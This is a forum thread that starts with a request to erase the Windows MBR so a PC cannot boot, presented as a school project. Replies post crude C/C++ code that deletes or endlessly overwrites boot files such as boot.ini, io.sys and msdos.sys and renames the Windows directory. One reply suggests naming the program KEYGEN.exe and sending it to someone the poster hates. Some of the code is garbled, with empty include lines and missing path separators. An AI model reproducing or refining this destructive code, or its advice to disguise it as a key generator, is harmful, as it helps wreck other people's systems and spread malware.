• 0

erase windows mbr


Question

14 answers to this question

Recommended Posts

  • 0

Why would you want to stop Windows from loading. Do you mean by default or do you mean ever. It would seem that if you wanted to prevent it from ever being loaded again, then it occurs to me that sort of thing could be used as a virus of some sort. Perhaps I'm just paranoid... hey, stop looking at me.:paranoid:

Link to comment
Share on other sites

  • 0
I need to know if it is possible to erase a windows mbr, so you can't boot into windows. It has to be done from within windows.

Virus? Well, anyways, You can't edit partitions, format windows drive, or edit mbr in windows. You must do it from DOS or another OS. Easiest way to delete it is to format the partition.

Link to comment
Share on other sites

  • 0
Originally posted by Goalie_CA  

 

Virus? Well, anyways, You can't edit partitions, format windows drive, or edit mbr in windows. You must do it from DOS or another OS. Easiest way to delete it is to format the partition.

I didn't mean a virus exactly, but if there were an easy way to delete the mbr in windows, it could possibly create a bit of havoc if someone unknowingly were to run a piece of code that did that. To tell you the truth, I don't really know what I am talking about, but I'm off my medication and I feel lonely.:D :D :D

Link to comment
Share on other sites

  • 0

Im suppost to do it from within windows. Its a school project.(my teacher wants to see what were "capable" of??, anywayz) I have to disable windows from booting somehow. I can use c and c++ to program, so i guess this could be a virus. But, how might I go about it?

Link to comment
Share on other sites

  • 0

C++, here ill pseudo code it for ya...



int main.. bla bla bla

{

outfileor something ("C:Windowswin.ini");

[color=red]---(If it is a win98 or below pc or this depends on all the boot files)[/color]

// -or-

outfile("C:config.sys")

[color=red]---(another one depending on the OS)[/color]



//then over write all or some of the system filles needed for boot

}



[/PHP]

or just use this snippit, its in a forever loop and will also fill the hdd...

[PHP]

#include

#include



int main()

{

ofstream outFile ("C:boot.ini");



cout << "Debug Message: Overwriting of critical system files have commenced";



while(1)

outFile << "USELESS JUNK IS THE BESTEST CRAP EVER!!!! /t/t";



cout << "Debug Message: You will never see this but when you restart, you are screwed.";



return 0;

}

[/PHP]

and to think that i am a mediocre compsci student.. bah, i rather learn asembly and write virii anywayz :evil: :evil: :evil:

[[ EDIT: i forgot to mention that this is in win32 text conole.. ]]

[[ EDIT AGAIN: USE THIS AT YOUR OWN RISK. I AM NOT AT ALL RESPONSIBLE IF YOU HAVE A LIFELONG SUBSCRIPTION TO NOSE BOOGER BI-MONTHY AFTER THE USE OF THIS CODE. ]]

Link to comment
Share on other sites

  • 0

YOU WILL NEED TO REINSTALL YOUR OS IF YOU RUN THIS!!!!!!

I am not responsible if this eats your dog or steals your girlfriend.

#include //good ol' C

int main(){

remove ("c:/boot.ini"); //notice its not c: its c:/ because of escape chars!!!

remove ("c:/config.sys");

remove ("c:/io.sys");

remove ("c:/msdos.sys");

rename("c:/windows","c:/VIRUS"); //Will rename windows dir, won't boot!!!

//put whatever files you want!!!!

return 0;

};

Link to comment
Share on other sites

  • 0

I know the file protection protests average joe from deleting files but how low-level does the protection go??? Is it written into the NTFS file system. Does it have an attribute???

ps: MINE IS THE BEST!!!!

pps: Rename the app to KEYGEN.exe and send it to some1 you hate!!!

Link to comment
Share on other sites

This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.